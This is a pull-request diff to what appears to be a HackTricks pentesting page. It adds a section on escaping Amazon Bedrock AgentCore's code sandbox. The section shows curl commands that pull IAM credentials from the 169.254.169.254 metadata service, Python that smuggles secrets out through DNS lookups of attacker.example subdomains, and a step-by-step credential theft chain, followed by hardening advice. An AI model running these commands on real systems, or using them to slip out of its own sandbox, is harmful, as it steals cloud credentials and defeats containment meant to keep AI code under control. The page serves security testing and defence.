Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
Expand Up @@ -130,11 +130,118 @@ The core issue is that the backend lets the model decide **who may do what** by
- Treat each collaborator as a separate trust boundary: scope action groups narrowly, validate tool inputs in the backend, and require server-side authorization before high-impact actions.
- Bedrock **pre-processing** can reject or classify suspicious requests before orchestration, and **Guardrails** can block prompt-injection attempts at runtime. They should be enabled even if prompt templates already contain “do not disclose” rules.

## AWS - AgentCore Sandbox Escape via DNS Tunneling and MMDS Abuse

### Overview

Amazon Bedrock AgentCore Code Interpreter runs inside an AWS-managed microVM and supports different network modes. The interesting post-exploitation question is not "can code run?" because code execution is the product feature, but whether the managed isolation still prevents **credential theft**, **exfiltration**, and **C2** once code runs.

The useful chain is:

1. Access the microVM metadata endpoint at `169.254.169.254`
2. Recover temporary credentials from MMDS if tokenless access is still allowed
3. Abuse sandbox DNS recursion as a covert egress path
4. Exfiltrate credentials or run a DNS-based control loop

This is the Bedrock-specific version of the classic **metadata -> credentials -> exfiltration** cloud attack path.

### Main primitives

#### 1. Runtime SSRF -> MMDS credentials

AgentCore Runtime is not supposed to expose arbitrary code execution to end users, so the interesting primitive there is **SSRF**. If the runtime can be tricked into requesting `http://169.254.169.254/...` and MMDS accepts plain `GET` requests without an MMDSv2 token, the SSRF becomes a direct credential theft primitive.

This recreates the old **IMDSv1 risk model**:

```bash
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/<role-name>
```

If MMDSv2 is enforced, a simple SSRF usually loses impact because it also needs a preceding `PUT` request to obtain the session token. If MMDSv1-compatible access is still enabled on older agents/tools, treat Runtime SSRF as a high-severity credential theft path.

#### 2. Code Interpreter -> MMDS reconnaissance

Inside Code Interpreter, arbitrary code execution already exists by design, so MMDS mainly matters because it exposes:

- temporary IAM role credentials
- instance metadata and tags
- internal service plumbing that hints at reachable AWS backends

Interesting paths from the research:

- `http://169.254.169.254/latest/meta-data/tags/instance/aws_presigned-log-url`
- `http://169.254.169.254/latest/meta-data/tags/instance/aws_presigned-log-kms-key`

The returned S3 pre-signed URL is useful because it proves the sandbox still needs some outbound path to AWS services. That is a strong hint that "isolated" only means "restricted", not "offline".

#### 3. Sandbox DNS recursion -> DNS tunneling

The most valuable network finding is that Sandbox mode can still perform **DNS resolution**, including recursion for arbitrary public domains. Even if direct TCP/UDP data traffic is blocked, that is enough for **DNS tunneling**.

Quick validation from inside the interpreter:

```python
import socket

socket.gethostbyname_ex("s3.us-east-1.amazonaws.com")
socket.gethostbyname_ex("attacker.example")
```

If attacker-controlled domains resolve, use the query name itself as the transport:

```python
import base64
import socket

data = b"my-secret"
label = base64.urlsafe_b64encode(data).decode().rstrip("=")
socket.gethostbyname_ex(f"{label}.attacker.example")
```

The recursive resolver forwards the query to the attacker's authoritative DNS server, so the payload is recovered from DNS logs. Repeating this in chunks gives you a simple **egress channel** for:

- MMDS credentials
- environment variables
- source code
- command output

DNS responses can also carry small tasking values, enabling a basic **bidirectional DNS C2** loop.

### Practical post-exploitation chain

1. Get code execution in AgentCore Code Interpreter or SSRF in AgentCore Runtime.
2. Query MMDS and recover the attached role credentials when tokenless metadata is available.
3. Test whether sandbox/public DNS recursion reaches an attacker domain.
4. Chunk and encode credentials into subdomains.
5. Reconstruct them from authoritative DNS logs and reuse them with AWS APIs.

For direct execution-role pivoting through a more privileged interpreter configuration, also check [AWS - Bedrock PrivEsc](../../aws-privilege-escalation/aws-bedrock-privesc/README.md).

### Pre-signed URL signer identity leak

The undocumented MMDS tag values can also leak backend identity information. If you intentionally break the signature of the returned S3 pre-signed URL, the `SignatureDoesNotMatch` response may disclose the signing `AWSAccessKeyID`. That key ID can then be mapped to an owning AWS account:

```bash
aws sts get-access-key-info --access-key-id <ACCESS_KEY_ID>
```

This does not automatically grant write access outside the scope of the pre-signed object path, but it helps map the AWS-managed infrastructure behind the Bedrock service.

### Hardening / detection

- Prefer **VPC mode** when you need real network isolation instead of relying on Sandbox mode.
- Restrict DNS egress in VPC mode with **Route 53 Resolver DNS Firewall**.
- Require **MMDSv2** where AgentCore exposes that control, and disable MMDSv1 compatibility on older agents/tools.
- Treat any Runtime SSRF as potentially equivalent to metadata credential theft until MMDSv2-only behavior is verified.
- Keep AgentCore execution roles tightly scoped because DNS tunneling turns "non-internet" code execution into a practical exfiltration channel.


## References

- [When AI Remembers Too Much – Persistent Behaviors in Agents’ Memory (Unit 42)](https://unit42.paloaltonetworks.com/indirect-prompt-injection-poisons-ai-longterm-memory/)
- [When an Attacker Meets a Group of Agents: Navigating Amazon Bedrock's Multi-Agent Applications (Unit 42)](https://unit42.paloaltonetworks.com/amazon-bedrock-multiagent-applications/)
- [Cracks in the Bedrock: Escaping the AWS AgentCore Sandbox (Unit 42)](https://unit42.paloaltonetworks.com/bypass-of-aws-sandbox-network-isolation-mode/)
- [Retain conversational context across multiple sessions using memory – Amazon Bedrock](https://docs.aws.amazon.com/bedrock/latest/userguide/agents-memory.html)
- [How Amazon Bedrock Agents works](https://docs.aws.amazon.com/bedrock/latest/userguide/agents-how.html)
- [Advanced prompt templates – Amazon Bedrock](https://docs.aws.amazon.com/bedrock/latest/userguide/advanced-prompts-templates.html)
Expand All @@ -143,5 +250,7 @@ The core issue is that the backend lets the model decide **who may do what** by
- [Monitor model invocation using CloudWatch Logs and Amazon S3 – Amazon Bedrock](https://docs.aws.amazon.com/bedrock/latest/userguide/model-invocation-logging.html)
- [Track agent’s step-by-step reasoning process using trace – Amazon Bedrock](https://docs.aws.amazon.com/bedrock/latest/userguide/trace-events.html)
- [Amazon Bedrock Guardrails](https://aws.amazon.com/bedrock/guardrails/)
- [Understanding credentials management in Amazon Bedrock AgentCore](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/security-credentials-management.html)
- [Resource management - Amazon Bedrock AgentCore](https://docs.aws.amazon.com/bedrock-agentcore/latest/devguide/code-interpreter-resource-management.html)

{{#include ../../../../banners/hacktricks-training.md}}